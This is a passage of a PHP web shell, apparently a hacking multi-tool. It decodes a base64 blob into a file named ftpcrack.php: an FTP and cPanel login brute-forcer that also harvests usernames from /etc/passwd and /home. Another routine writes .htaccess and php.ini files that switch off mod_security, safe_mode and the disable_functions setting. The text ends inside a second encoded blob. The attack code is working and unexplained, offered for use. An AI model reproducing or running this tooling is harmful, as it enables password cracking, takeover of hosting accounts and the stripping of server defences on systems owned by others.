dGltZW91dDs/PiI+PC9pbnB1dD4KCQkJCQkJCQkJCQkJPGJyPgoJCQkJCQkJCQkJCQk8aW5wdXQg
dHlwZT0iY2hlY2tib3giIG5hbWU9ImJydXRlZm9yY2UiIHZhbHVlPSJ0cnVlIj48Zm9udCBzdHls
ZT0iZm9udC13ZWlnaHQ6NzAwIiBzaXplPSIyIiBmYWNlPSJUYWhvbWEiIGNvbG9yPSIjMDA4MDAw
Ij48c3BhbiBsYW5nPSJhci1zYSI+QnJ1dGVmb3JjZTwvc3Bhbj48L2lucHV0PgoJCQkJCQkJCQkJ
CQk8c2VsZWN0IG5hbWU9ImNoYXJzZXQiIHN0eWxlPSJib3JkZXI6IDJweCBzb2xpZCAjMUQxRDFE
O2JhY2tncm91bmQ6IGJsYWNrO2NvbG9yOlJFRCI+CgkJCQkJCQkJCQkJCSA8b3B0aW9uIHZhbHVl
PSJhbGwiPkFsbCBMZXR0ZXJzICsgTnVtYmVyczwvb3B0aW9uPgogCQkJCQkJCQkJCQkgICAgIDxv
cHRpb24gdmFsdWU9Im51bWVyaWMiPk51bWJlcnM8L29wdGlvbj4KCQkJCQkJCQkJCQkJIDxvcHRp
b24gdmFsdWU9ImxldHRlcnMiPkxldHRlcnM8L29wdGlvbj4KCQkJCQkJCQkJCQkJIDxvcHRpb24g
dmFsdWU9InN5bWJvbHMiPlN5bWJvbHM8L29wdGlvbj4KCQkJCQkJCQkJCQkJIDxvcHRpb24gdmFs
dWU9Imxvd2VyY2FzZSI+TG93ZXIgTGV0dGVyczwvb3B0aW9uPgoJCQkJCQkJCQkJCQkgPG9wdGlv
biB2YWx1ZT0idXBwZXJjYXNlIj5IaWdoZXIgTGV0dGVyczwvb3B0aW9uPgoJCQkJCQkJCQkJCQkg
PG9wdGlvbiB2YWx1ZT0ibG93ZXJudW1lcmljIj5Mb3dlciBMZXR0ZXJzICsgTnVtYmVyczwvb3B0
aW9uPgoJCQkJCQkJCQkJCQkgPG9wdGlvbiB2YWx1ZT0idXBwZXJudW1lcmljIj5VcHBlciBMZXR0
ZXJzICsgTnVtYmVyczwvb3B0aW9uPgoJCQkJCQkJCQkJCQkgPG9wdGlvbiB2YWx1ZT0ibG93ZXJz
eW1ib2xzIj5Mb3dlciBMZXR0ZXJzICsgU3ltYm9sczwvb3B0aW9uPgoJCQkJCQkJCQkJCQkgPG9w
dGlvbiB2YWx1ZT0idXBwZXJzeW1ib2xzIj5VcHBlciBMZXR0ZXJzICsgU3ltYm9sczwvb3B0aW9u
PgoJCQkJCQkJCQkJCQkgPG9wdGlvbiB2YWx1ZT0ibGV0dGVyc3N5bWJvbHMiPkFsbCBMZXR0ZXJz
ICsgU3ltYm9sczwvb3B0aW9uPgoJCQkJCQkJCQkJCQkgPG9wdGlvbiB2YWx1ZT0ibnVtYmVyc3N5
bWJvbHMiPk51bWJlcnMgKyBTeW1ib2xzPC9vcHRpb24+CgkJCQkJCQkJCQkJCSA8b3B0aW9uIHZh
bHVlPSJsb3dlcm51bWVyaWNzeW1ib2xzIj5Mb3dlciBMZXR0ZXJzICsgTnVtYmVycyArIFN5bWJv
bHM8L29wdGlvbj4KCQkJCQkJCQkJCQkJIDxvcHRpb24gdmFsdWU9InVwcGVybnVtZXJpY3N5bWJv
bHMiPlVwcGVyIExldHRlcnMgKyBOdW1iZXJzICsgU3ltYm9sczwvb3B0aW9uPgoJCQkJCQkJCQkJ
CQkgPG9wdGlvbiB2YWx1ZT0ibGV0dGVyc251bWVyaWNzeW1ib2xzIj5BbGwgTGV0dGVycyArIE51
bWJlcnMgKyBTeW1ib2xzPC9vcHRpb24+CgoJCQkJCQkJCQkJCQk8L3NlbGVjdD4KCQkJCQkJCQkJ
CQkJPGJyPgoJCQkJCQkJCQkJCQk8Zm9udCBzdHlsZT0iZm9udC13ZWlnaHQ6NzAwIiBzaXplPSIy
IiBmYWNlPSJUYWhvbWEiIGNvbG9yPSIjMDA4MDAwIj48c3BhbiBsYW5nPSJhci1zYSI+TWluIEJy
dXRlZm9yY2UgTGVuZ3RoOjwvc3Bhbj48L2ZvbnQ+CgkJCQkJCQkJCQkJCTxpbnB1dCB0eXBlPSJ0
ZXh0IiBuYW1lPSJtaW5fbGVuZ3RoIiBzdHlsZT0iYm9yZGVyOiAycHggc29saWQgIzFEMUQxRDti
YWNrZ3JvdW5kOiBibGFjaztjb2xvcjpSRUQiIHNpemU9NDggdmFsdWU9Ijw/cGhwIGVjaG8gJG1p
bl9sZW5ndGg7Pz4iPjwvaW5wdXQ+CgkJCQkJCQkJCQkJCTxicj4KCQkJCQkJCQkJCQkJPGZvbnQg
c3R5bGU9ImZvbnQtd2VpZ2h0OjcwMCIgc2l6ZT0iMiIgZmFjZT0iVGFob21hIiBjb2xvcj0iIzAw
ODAwMCI+PHNwYW4gbGFuZz0iYXItc2EiPk1heCBCcnV0ZWZvcmNlIExlbmd0aDo8L3NwYW4+PC9m
b250PgoJCQkJCQkJCQkJCQk8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibWF4X2xlbmd0aCIgc3R5
bGU9ImJvcmRlcjogMnB4IHNvbGlkICMxRDFEMUQ7YmFja2dyb3VuZDogYmxhY2s7Y29sb3I6UkVE
IiBzaXplPTQ4IHZhbHVlPSI8P3BocCBlY2hvICRtYXhfbGVuZ3RoOz8+Ij48L2lucHV0PgoJCQkJ
CQkJCQkJCQk8L3A+CiAgICAgICAgPHAgYWxpZ249ImNlbnRlciI+Jm5ic3A7Jm5ic3A7Jm5ic3A7
Jm5ic3A7CiAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkdvIiBuYW1lPSJzdWJt
aXQiIHN0eWxlPSJjb2xvcjogIzAwODAwMDsgZm9udC13ZWlnaHQ6IGJvbGQ7IGJvcmRlcjogMXB4
IHNvbGlkICMzMzMzMzM7IGJhY2tncm91bmQtY29sb3I6ICMwMDAwMDAiPjwvcD4KICAgICAgICAg
ICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgPC90YWJs
ZT4KCiAgICA8cCBhbGlnbj0iY2VudGVyIj48L3RkPgogIDwvdHI+CiAgPC9mb3JtPgoKPD9waHAK
ZnVuY3Rpb24gYnJ1dGUoKQp7CglnbG9iYWwgJHZhbHMsJG1pbl9sZW5ndGgsJG1heF9sZW5ndGg7
CglnbG9iYWwgJHRhcmdldCwkcHVyZXVzZXIsJGNvbm5lY3RfdGltZW91dDsKCSRtaW49JG1pbl9s
ZW5ndGg7CgkkbWF4PSRtYXhfbGVuZ3RoOwoJJEEgPSBhcnJheSgpOwoJJG51bVZhbHMgPSBjb3Vu
dCgkdmFscyk7CgkkaW5jRG9uZSA9ICIiOwoJJHJlYWxNYXggPSAiIjsKCSRjdXJyZW50VmFsID0g
IiI7CgkkZmlyc3RWYWwgPSAiIjsKCWZvciAoJGkgPSAwOyAkaSA8ICgkbWF4ICsgMSk7ICRpKysp
IHsKCQkkQVskaV0gPSAtMTsKCX0KCQoJZm9yICgkaSA9IDA7ICRpIDwgJG1heDsgJGkrKykgewoJ
CSRyZWFsTWF4ID0gJHJlYWxNYXggLiAkdmFsc1skbnVtVmFscyAtIDFdOwoJfQoJZm9yICgkaSA9
IDA7ICRpIDwgJG1pbjsgJGkrKykgewoJCSRBWyRpXSA9ICR2YWxzWzBdOwoJfQoJJGkgPSAwOwoJ
d2hpbGUgKCRBWyRpXSAhPSAtMSkgewoJCSRmaXJzdFZhbCAuPSAkQVskaV07CgkJJGkrKzsKCX0K
CS8vZWNobyAkZmlyc3RWYWwgLiAiPGJyPiI7CgljcGFuZWxfY2hlY2soJHRhcmdldCwkcHVyZXVz
ZXIsJGZpcnN0VmFsLCRjb25uZWN0X3RpbWVvdXQpOwoJCgl3aGlsZSAoMSkgewoJCWZvciAoJGkg
PSAwOyAkaSA8ICgkbWF4ICsgMSk7ICRpKyspIHsKCQkJaWYgKCRBWyRpXSA9PSAtMSkgewoJCQkJ
YnJlYWs7CgkJCX0KCQl9CgkJJGktLTsKCQkkaW5jRG9uZSA9IDA7CgkJd2hpbGUgKCEkaW5jRG9u
ZSkgewkKCQkJZm9yICgkaiA9IDA7ICRqIDwgJG51bVZhbHM7ICRqKyspIHsKCQkJCWlmICgkQVsk
aV0gPT0gJHZhbHNbJGpdKSB7CgkJCQkJYnJlYWs7CgkJCQl9CgkJCX0KCQkJaWYgKCRqID09ICgk
bnVtVmFscyAtIDEpKSB7CgkJCQkkQVskaV0gPSAkdmFsc1swXTsKCQkJCSRpLS07CgkJCQlpZiAo
JGkgPCAwKSB7CgkJCQkJZm9yICgkaSA9IDA7ICRpIDwgKCRtYXggKyAxKTsgJGkrKykgewoJCQkJ
CQlpZiAoJEFbJGldID09IC0xKSB7CgkJCQkJCQlicmVhazsKCQkJCQkJfQoJCQkJCX0KCQkJCQkk
QVskaV0gPSAkdmFsc1swXTsKCQkJCQkkQVskaSArIDFdID0gLTE7CgkJCQkJJGluY0RvbmUgPSAx
OwoJCQkJCXByaW50ICJTdGFydGluZyAiIC4gKHN0cmxlbigkY3VycmVudFZhbCkgKyAxKSAuICIg
Q2hhcmFjdGVycyBDcmFja2luZzxicj4iOwoJCQkJfQoJCQl9IGVsc2UgewoJCQkJJEFbJGldID0g
JHZhbHNbJGogKyAxXTsKCQkJCSRpbmNEb25lID0gMTsKCQkJfQoJCX0KCQkkaSA9IDA7CgkJJGN1
cnJlbnRWYWwgPSAiIjsKCQl3aGlsZSAoJEFbJGldICE9IC0xKSB7CgkJCSRjdXJyZW50VmFsID0g
JGN1cnJlbnRWYWwgLiAkQVskaV07CgkJCSRpKys7CgkJfQoJCWNwYW5lbF9jaGVjaygkdGFyZ2V0
LCRwdXJldXNlciwkY3VycmVudFZhbCwkY29ubmVjdF90aW1lb3V0KTsKCQkvL2VjaG8gJGN1cnJl
bnRWYWwgLiAiPGJyPiI7CgkJaWYgKCRjdXJyZW50VmFsID09ICRyZWFsTWF4KSB7CgkJCXJldHVy
biAwOwoJCX0KCX0KfQpmdW5jdGlvbiBnZXRtaWNyb3RpbWUoKSB7CiAgIGxpc3QoJHVzZWMsICRz
ZWMpID0gZXhwbG9kZSgiICIsbWljcm90aW1lKCkpOwogICByZXR1cm4gKChmbG9hdCkkdXNlYyAr
IChmbG9hdCkkc2VjKTsKfSAKCmZ1bmN0aW9uIGZ0cF9jaGVjaygkaG9zdCwkdXNlciwkcGFzcywk
dGltZW91dCkKewogJGNoID0gY3VybF9pbml0KCk7CiBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRf
VVJMLCAiZnRwOi8vJGhvc3QiKTsKIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFO
U0ZFUiwgMSk7CiBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSFRUUEFVVEgsIENVUkxBVVRIX0JB
U0lDKTsKIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GVFBMSVNUT05MWSwgMSk7CiBjdXJsX3Nl
dG9wdCgkY2gsIENVUkxPUFRfVVNFUlBXRCwgIiR1c2VyOiRwYXNzIik7CiBjdXJsX3NldG9wdCAo
JGNoLCBDVVJMT1BUX0NPTk5FQ1RUSU1FT1VULCAkdGltZW91dCk7CiBjdXJsX3NldG9wdCgkY2gs
IENVUkxPUFRfRkFJTE9ORVJST1IsIDEpOwogJGRhdGEgPSBjdXJsX2V4ZWMoJGNoKTsKIGlmICgg
Y3VybF9lcnJubygkY2gpID09IDI4ICkKIHsKIHByaW50ICI8Yj48Zm9udCBmYWNlPVwiVmVyZGFu
YVwiIHN0eWxlPVwiZm9udC1zaXplOiA5cHRcIj4KIDxmb250IGNvbG9yPVwiI0FBMDAwMFwiPkVy
cm9yIDo8L2ZvbnQ+IDxmb250IGNvbG9yPVwiIzAwODAwMFwiPkNvbm5lY3Rpb24gVGltZW91dAog
UGxlYXNlIENoZWNrIFRoZSBUYXJnZXQgSG9zdG5hbWUgLjwvZm9udD48L2ZvbnQ+PC9iPjwvcD4i
O2V4aXQ7CiB9CiBlbHNlIGlmICggY3VybF9lcnJubygkY2gpID09IDAgKQogewogIHByaW50ICI8
Yj48Zm9udCBmYWNlPVwiVGFob21hXCIgc3R5bGU9XCJmb250LXNpemU6IDlwdFwiIGNvbG9yPVwi
IzAwODAwMFwiPlt+XTwvZm9udD48L2I+PGZvbnQgZmFjZT1cIlRhaG9tYVwiICAgc3R5bGU9XCJm
b250LXNpemU6IDlwdFwiPjxiPjxmb250IGNvbG9yPVwiIzAwODAwMFwiPgogQ3JhY2tpbmcgU3Vj
Y2VzcyBXaXRoIFVzZXJuYW1lICZxdW90OzwvZm9udD48Zm9udCBjb2xvcj1cIiNGRjAwMDBcIj4k
dXNlcjwvZm9udD48Zm9udCBjb2xvcj1cIiMwMDgwMDBcIj5cIgogYW5kIFBhc3N3b3JkIFwiPC9m
b250Pjxmb250IGNvbG9yPVwiI0ZGMDAwMFwiPiRwYXNzPC9mb250Pjxmb250IGNvbG9yPVwiIzAw
ODAwMFwiPlwiPC9mb250PjwvYj48YnI+PGJyPiI7CiB9CiBjdXJsX2Nsb3NlKCRjaCk7Cn0KZnVu
Y3Rpb24gY3BhbmVsX2NoZWNrKCRob3N0LCR1c2VyLCRwYXNzLCR0aW1lb3V0KQp7CiBnbG9iYWwg
JGNwYW5lbF9wb3J0OwogJGNoID0gY3VybF9pbml0KCk7CiAvL2VjaG8gImh0dHA6Ly8kaG9zdDoi
LiRjcGFuZWxfcG9ydC4iICR1c2VyICRwYXNzPGJyPiI7CiBjdXJsX3NldG9wdCgkY2gsIENVUkxP
UFRfVVJMLCAiaHR0cDovLyRob3N0OiIgLiAkY3BhbmVsX3BvcnQpOwogY3VybF9zZXRvcHQoJGNo
LCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsKIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9I
VFRQQVVUSCwgQ1VSTEFVVEhfQkFTSUMpOwogY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJQ
V0QsICIkdXNlcjokcGFzcyIpOwogY3VybF9zZXRvcHQgKCRjaCwgQ1VSTE9QVF9DT05ORUNUVElN
RU9VVCwgJHRpbWVvdXQpOwogY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZBSUxPTkVSUk9SLCAx
KTsKICRkYXRhID0gY3VybF9leGVjKCRjaCk7CiBpZiAoIGN1cmxfZXJybm8oJGNoKSA9PSAyOCAp
CiB7CiAgcHJpbnQgIjxiPjxmb250IGZhY2U9XCJWZXJkYW5hXCIgc3R5bGU9XCJmb250LXNpemU6
IDlwdFwiPgogIDxmb250IGNvbG9yPVwiI0FBMDAwMFwiPkVycm9yIDo8L2ZvbnQ+IDxmb250IGNv
bG9yPVwiIzAwODAwMFwiPkNvbm5lY3Rpb24gVGltZW91dAogIFBsZWFzZSBDaGVjayBUaGUgVGFy
Z2V0IEhvc3RuYW1lIC48L2ZvbnQ+PC9mb250PjwvYj48L3A+IjtleGl0OwogfQogZWxzZSBpZiAo
IGN1cmxfZXJybm8oJGNoKSA9PSAwICkKIHsKICBwcmludCAiPGI+PGZvbnQgZmFjZT1cIlRhaG9t
YVwiIHN0eWxlPVwiZm9udC1zaXplOiA5cHRcIiBjb2xvcj1cIiMwMDgwMDBcIj5bfl08L2ZvbnQ+
PC9iPjxmb250IGZhY2U9XCJUYWhvbWFcIiAgIHN0eWxlPVwiZm9udC1zaXplOiA5cHRcIj48Yj48
Zm9udCBjb2xvcj1cIiMwMDgwMDBcIj4gCiAgQ3JhY2tpbmcgU3VjY2VzcyBXaXRoIFVzZXJuYW1l
ICZxdW90OzwvZm9udD48Zm9udCBjb2xvcj1cIiNGRjAwMDBcIj4kdXNlcjwvZm9udD48Zm9udCBj
b2xvcj1cIiMwMDgwMDBcIj5cIgogIGFuZCBQYXNzd29yZCBcIjwvZm9udD48Zm9udCBjb2xvcj1c
IiNGRjAwMDBcIj4kcGFzczwvZm9udD48Zm9udCBjb2xvcj1cIiMwMDgwMDBcIj5cIjwvZm9udD48
L2I+PGJyPjxicj4iOwogfQogY3VybF9jbG9zZSgkY2gpOwp9CgokdGltZV9zdGFydCA9IGdldG1p
Y3JvdGltZSgpOwoKaWYoaXNzZXQoJHN1Ym1pdCkgJiYgIWVtcHR5KCRzdWJtaXQpKQp7CiBpZihl
bXB0eSgkdXNlcnMpICYmIGVtcHR5KCRwYXNzKSApCiB7CiAgIHByaW50ICI8cD48Zm9udCBmYWNl
PVwiVGFob21hXCIgc2l6ZT1cIjJcIj48Yj48Zm9udCBjb2xvcj1cIiNGRjAwMDBcIj5FcnJvciA6
IDwvZm9udD5QbGVhc2UgQ2hlY2sgVGhlIFVzZXJzIG9yIFBhc3N3b3JkIExpc3QgRW50cnkgLiAu
IC48L2I+PC9mb250PjwvcD4iOyBleGl0OyB9CiBpZihlbXB0eSgkdXNlcnMpKXsgcHJpbnQgIjxw
Pjxmb250IGZhY2U9J1RhaG9tYScgc2l6ZT0nMic+PGI+PGZvbnQgY29sb3I9JyNGRjAwMDAnPkVy
cm9yIDogPC9mb250PlBsZWFzZSBDaGVjayBUaGUgVXNlcnMgTGlzdCBFbnRyeSAuIC4gLjwvYj48
L2ZvbnQ+PC9wPiI7IGV4aXQ7IH0KIGlmKGVtcHR5KCRwYXNzKSAmJiAkX1JFUVVFU1RbJ2JydXRl
Zm9yY2UnXSE9InRydWUiICl7IHByaW50ICI8cD48Zm9udCBmYWNlPSdUYWhvbWEnIHNpemU9JzIn
PjxiPjxmb250IGNvbG9yPScjRkYwMDAwJz5FcnJvciA6IDwvZm9udD5QbGVhc2UgQ2hlY2sgVGhl
IFBhc3N3b3JkIExpc3QgRW50cnkgLiAuIC48L2I+PC9mb250PjwvcD4iOyBleGl0OyB9OwogJHVz
ZXJsaXN0PWV4cGxvZGUoIlxuIiwkdXNlcnMpOwogJHBhc3NsaXN0PWV4cGxvZGUoIlxuIiwkcGFz
cyk7CiBwcmludCAiPGI+PGZvbnQgZmFjZT1cIlRhaG9tYVwiIHN0eWxlPVwiZm9udC1zaXplOiA5
cHRcIiBjb2xvcj1cIiMwMDgwMDBcIj5bfl0jPC9mb250Pjxmb250IGZhY2U9XCJUYWhvbWFcIiBz
dHlsZT1cImZvbnQtc2l6ZTogOXB0XCIgY29sb3I9XCIjRkYwMDAwXCI+CiBDcmFja2luZyBQcm9j
ZXNzIFN0YXJ0ZWQsIFBsZWFzZSBXYWl0IC4uLjwvZm9udD48L2I+PGJyPjxicj4iOwoKIGlmKGlz
c2V0KCRfUE9TVFsnY29ubmVjdF90aW1lb3V0J10pKQogewogICRjb25uZWN0X3RpbWVvdXQ9JF9Q
T1NUWydjb25uZWN0X3RpbWVvdXQnXTsKIH0KCiBpZigkY3JhY2t0eXBlID09ICJmdHAiKQogewog
IGZvcmVhY2ggKCR1c2VybGlzdCBhcyAkdXNlcikgCiAgewogICAkcHVyZXVzZXIgPSB0cmltKCR1
c2VyKTsKICAgZm9yZWFjaCAoJHBhc3NsaXN0IGFzICRwYXNzd29yZCApIAogICB7CiAgICAgJHB1
cmVwYXNzID0gdHJpbSgkcGFzc3dvcmQpOwogICAgIGZ0cF9jaGVjaygkdGFyZ2V0LCRwdXJldXNl
ciwkcHVyZXBhc3MsJGNvbm5lY3RfdGltZW91dCk7CiAgIH0KICB9CiB9CiAKIGlmICgkY3JhY2t0
eXBlID09ICJjcGFuZWwiIHx8ICRjcmFja3R5cGUgPT0gImNwYW5lbDIiKQogewogIGlmKCRjcmFj
a3R5cGUgPT0gImNwYW5lbDIiKQogIHsKICAgJGNwYW5lbF9wb3J0PSIyMyI7CiAgfQogIGVsc2UK
ICAgJGNwYW5lbF9wb3J0PSIyMDgyIjsKICAKICBmb3JlYWNoICgkdXNlcmxpc3QgYXMgJHVzZXIp
IAogIHsKICAgJHB1cmV1c2VyID0gdHJpbSgkdXNlcik7CiAgIHByaW50ICI8Yj48Zm9udCBmYWNl
PVwiVGFob21hXCIgc3R5bGU9XCJmb250LXNpemU6IDlwdFwiIGNvbG9yPVwiIzAwODAwMFwiPlt+
XSM8L2ZvbnQ+PGZvbnQgZmFjZT1cIlRhaG9tYVwiICBzdHlsZT1cImZvbnQtc2l6ZTogOXB0XCIg
Y29sb3I9XCIjRkYwODAwXCI+CiAgIFByb2Nlc3NpbmcgdXNlciAkcHVyZXVzZXIgLi4uIDwvZm9u
dD48L2I+IjsKICAgaWYoJF9QT1NUWydicnV0ZWZvcmNlJ109PSJ0cnVlIikKICAgewogICAgZWNo
byAiIGJydXRlZm9yY2luZyAuLiI7CgllY2hvICI8YnI+IjsKCWJydXRlKCk7CiAgIH0KICAgZWxz
ZQogICB7CgkgZWNobyAiPGJyPiI7IAoJIGZvcmVhY2ggKCRwYXNzbGlzdCBhcyAkcGFzc3dvcmQg
KSAKICAgICB7CiAgICAgICAkcHVyZXBhc3MgPSB0cmltKCRwYXNzd29yZCk7CiAgICAgICBjcGFu
ZWxfY2hlY2soJHRhcmdldCwkcHVyZXVzZXIsJHB1cmVwYXNzLCRjb25uZWN0X3RpbWVvdXQpOwog
ICAgIH0KICAgfQogIH0KICAkdGltZV9lbmQgPSBnZXRtaWNyb3RpbWUoKTsKJHRpbWUgPSAkdGlt
ZV9lbmQgLSAkdGltZV9zdGFydDsgCiBwcmludCAiPGI+PGZvbnQgZmFjZT1cIlRhaG9tYVwiIHN0
eWxlPVwiZm9udC1zaXplOiA5cHRcIiBjb2xvcj1cIiMwMDgwMDBcIj5bfl0jPC9mb250Pjxmb250
IGZhY2U9XCJUYWhvbWFcIiBzdHlsZT1cImZvbnQtc2l6ZTogOXB0XCIgY29sb3I9XCIjRkYwMDAw
XCI+CiBDcmFja2luZyBGaW5pc2hlZC4gRWxhcHNlZCB0aW1lOiAkdGltZTwvZm9udD4gc2Vjb25k
czwvYj48YnI+PGJyPiI7CiAgfQp9CgoKCj8+Cgo8cCBhbGlnbj0iY2VudGVyIj48Yj48YSBocmVm
PSJodHRwOi8vd3d3LmFsbTNyZWZoLmNvbS92YiI+CjxzcGFuIHN0eWxlPSJ0ZXh0LWRlY29yYXRp
b246IG5vbmUiPlN1bm5pPC9zcGFuPjwvYT48L2I+PC9wPgoKICAgICAgPGZvcm0gc3R5bGU9ImJv
cmRlcjogMHB4IHJpZGdlICNGRkZGRkYiPgoKCgoKICAgIDxwIGFsaWduPSJjZW50ZXIiPjwvdGQ+
CiAgPC90cj48ZGl2IGFsaWduPSJjZW50ZXIiPgoKICAgICAgICAgICAgICAgIDx0cj4KCjwvZm9y
bT4KCgo8ZGl2IGFsaWduPSJjZW50ZXIiPgogPHRhYmxlIGJvcmRlcj0iMSIgd2lkdGg9IjEwJSIg
Ym9yZGVyY29sb3JsaWdodD0iIzAwODAwMCIgYm9yZGVyY29sb3JkYXJrPSIjMDA2QTAwIiBoZWln
aHQ9IjEwMCIgY2VsbHNwYWNpbmc9IjEiPgo8dHI+Cjx0ZCBib3JkZXJjb2xvcmxpZ2h0PSIjMDA4
MDAwIiBib3JkZXJjb2xvcmRhcms9IiMwMDZBMDAiPgo8cCBhbGlnbj0ibGVmdCI+Cjx0ZXh0YXJl
YSBzdHlsZT0iYm9yZGVyOiAycHggc29saWQgIzFEMUQxRDtiYWNrZ3JvdW5kOiAjMjAwMDAwO2Nv
bG9yOiNDQ0ZGRkYiIG1ldGhvZD0nUE9TVCcgcm93cz0iMjUiIG5hbWU9IlMxIiBjb2xzPSIyMiI+
CgoKPD9waHAKICAgaWYgKGlzc2V0KCRfR0VUWyd1c2VyJ10pKQogICAgICBzeXN0ZW0oJ2xzIC92
YXIvbWFpbCcpOyAKICAgaWYgKGlzc2V0KCRfUE9TVFsnZ3JhYl91c2VyczEnXSkpIC8vZ3JhYiB1
c2VycyBmcm9tIC9ldGMvcGFzc3dkCiAgIHsKCSAgJGxpbmVzPWZpbGUoIi9ldGMvcGFzc3dkIik7
CgkgIGZvcmVhY2goJGxpbmVzIGFzICRucj0+JHZhbCkKCSAgewoJICAgJHN0cj1leHBsb2RlKCI6
IiwkdmFsKTsKCSAgIGVjaG8gJHN0clswXS4iXG4iOwoJICB9CgkgCiAgIH0KICAgaWYgKGlzc2V0
KCRfUE9TVFsnZ3JhYl91c2VyczInXSkpCiAgICB7CiAgICAgJGRpciA9ICIvaG9tZS8iOwogICAg
IGlmICgkZGggPSBvcGVuZGlyKCRkaXIpKSB7CiAgICAgICAgd2hpbGUgKCgkZmlsZSA9IHJlYWRk
aXIoJGRoKSkgIT09IGZhbHNlKSB7CiAgICAgICAgICAgIGVjaG8gJGZpbGUuICJcbiI7CiAgICAg
ICAgfQoJCQljbG9zZWRpcigkZGgpOwoJCX0KCX0KPz4KPC90ZXh0YXJlYT4KPHRhYmxlPgo8dHI+
Cjxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9IlBPU1QiPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiB2YWx1
ZT0idHJ1ZSIgbmFtZT0iZ3JhYl91c2VyczEiPjwvaW5wdXQ+CjxpbnB1dCB0eXBlPXN1Ym1pdCB2
YWx1ZT0iR3JhYiBVc2VybmFtZXMgZnJvbSAvZXRjL3Bhc3N3ZCI+PC9pbnB1dD4KPC9mb3JtPgo8
L3RyPgo8YnI+Cjx0cj4KPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0iUE9TVCI+CjxpbnB1dCB0eXBl
PSJoaWRkZW4iIHZhbHVlPSJ0cnVlIiBuYW1lPSJncmFiX3VzZXJzMiI+PC9pbnB1dD4KPGlucHV0
IHR5cGU9c3VibWl0IHZhbHVlPSJHcmFiIFVzZXJuYW1lcyBmcm9tIC9ob21lLyI+PC9pbnB1dD4K
PC9mb3JtPgo8L3RyPgo8YnI+Cjx0cj4KPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0iUE9TVCI+Cjxp
bnB1dCB0eXBlPSJoaWRkZW4iIHZhbHVlPSJ0cnVlIiBuYW1lPSJncmFiX3VzZXJzMyI+PC9pbnB1
dD4KPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSJHcmFiIFVzZXJuYW1lcyBmcm9tIC9ob21lLyBJ
SSI+PC9pbnB1dD4KPC9mb3JtPgo8L3RyPgo8L2Zvcm0+CjwvdGFibGU+Cjw/cGhwCmlmIChpc3Nl
dCgkX1BPU1RbJ2dyYWJfdXNlcnMzJ10pKQogICAgewoJCWVycm9yX3JlcG9ydGluZygwKTsKICAg
ICAkZGlyID0gIi9ob21lLyI7CgkgaWYgKCRkaCA9IG9wZW5kaXIoJGRpcikpIAoJIHsKICAgICAg
ICAkZiA9IHJlYWRkaXIoJGRoKTskZiA9IHJlYWRkaXIoJGRoKTsKICAgICAgICB3aGlsZSAoKCRm
ID0gcmVhZGRpcigkZGgpKSAhPT0gZmFsc2UpIAogICAgICAgIHsKICAgICAgICAgICAgLy9lY2hv
ICRmLiAiXG4iOwogICAgICAgICAgICAkZi49Ii8iOwogICAgICAgICAgICAkZGgyPW9wZW5kaXIo
JGRpci4kZik7CiAgICAgICAgICAgICRmMiA9IHJlYWRkaXIoJGRoMik7JGYyID0gcmVhZGRpcigk
ZGgyKTsKICAgICAgICAgICAgd2hpbGUgKCgkZjIgPSByZWFkZGlyKCRkaDIpKSAhPT0gZmFsc2Up
IAogICAgICAgICAgICB7CiAgICAgICAgICAgICAvL2VjaG8gJGYyLiAiXG4iOwogICAgICAgICAg
ICAgJGYyLj0iLyI7CiAgICAgICAgICAgICAkZGgzPW9wZW5kaXIoJGRpci4kZi4kZjIpOwogICAg
ICAgICAgICAgJGYzID0gcmVhZGRpcigkZGgzKTskZjMgPSByZWFkZGlyKCRkaDMpOwogICAgICAg
ICAgICAgd2hpbGUgKCgkZjMgPSByZWFkZGlyKCRkaDMpKSAhPT0gZmFsc2UpIAogICAgICAgICAg
ICAgewogICAgICAgICAgICAgIGVjaG8gJGYzLiAiPGJyPiI7CiAgICAgICAgICAgICB9CiAgICAg
ICAgICAgIH0KICAgICAgICAgICAgCiAgICAgICAgfQoJCQljbG9zZWRpcigkZGgpOwoJIH0KCX0K
Pz4=';

$file = fopen("ftpcrack.php" ,"w+");
$write = fwrite ($file ,base64_decode($crackftp));
fclose($file);

   echo "<iframe src=ftpcrack.php width=100% height=100% frameborder=0></iframe> ";
break;
case "PHP_27":
	mkdir('safeof', 0755);
	chdir('safeof');
$kokdosya = ".htaccess";

$dosya_adi = "$kokdosya";
$dosya = fopen ($dosya_adi , 'w') or die ("Dosya a??lamad?!");
$metin = "<IfModule mod_security.c>
    SecFilterEngine Off
    SecFilterScanPOST Off
</IfModule>";
fwrite ( $dosya , $metin ) ;
fclose ($dosya);

$kokdosya = "php.ini";

$dosya_adi = "$kokdosya";
$dosya = fopen ($dosya_adi , 'w') or die ("Dosya a??lamad?!");
$metin = "safe_mode          =       OFF
disable_functions       =            NONE";
fwrite ( $dosya , $metin ) ;
fclose ($dosya);
$mini = 'PEJPRFkgT25LZXlQcmVzcz0iR2V0S2V5Q29kZSgpOyIgdGV4dD0jZmZmZmZmIGJvdHRvbU1hcmdp
bj0wIGJnQ29sb3I9IzAwMDAwMCBsZWZ0TWFyZ2luPTAgdG9wTWFyZ2luPTAgcmlnaHRNYXJnaW49
MCBtYXJnaW5oZWlnaHQ9MCBtYXJnaW53aWR0aD0wPjxjZW50ZXI+PFRBQkxFIHN0eWxlPSJCT1JE
RVItQ09MTEFQU0U6IGNvbGxhcHNlIiBoZWlnaHQ9MCBjZWxsU3BhY2luZz0wIGJvcmRlckNvbG9y
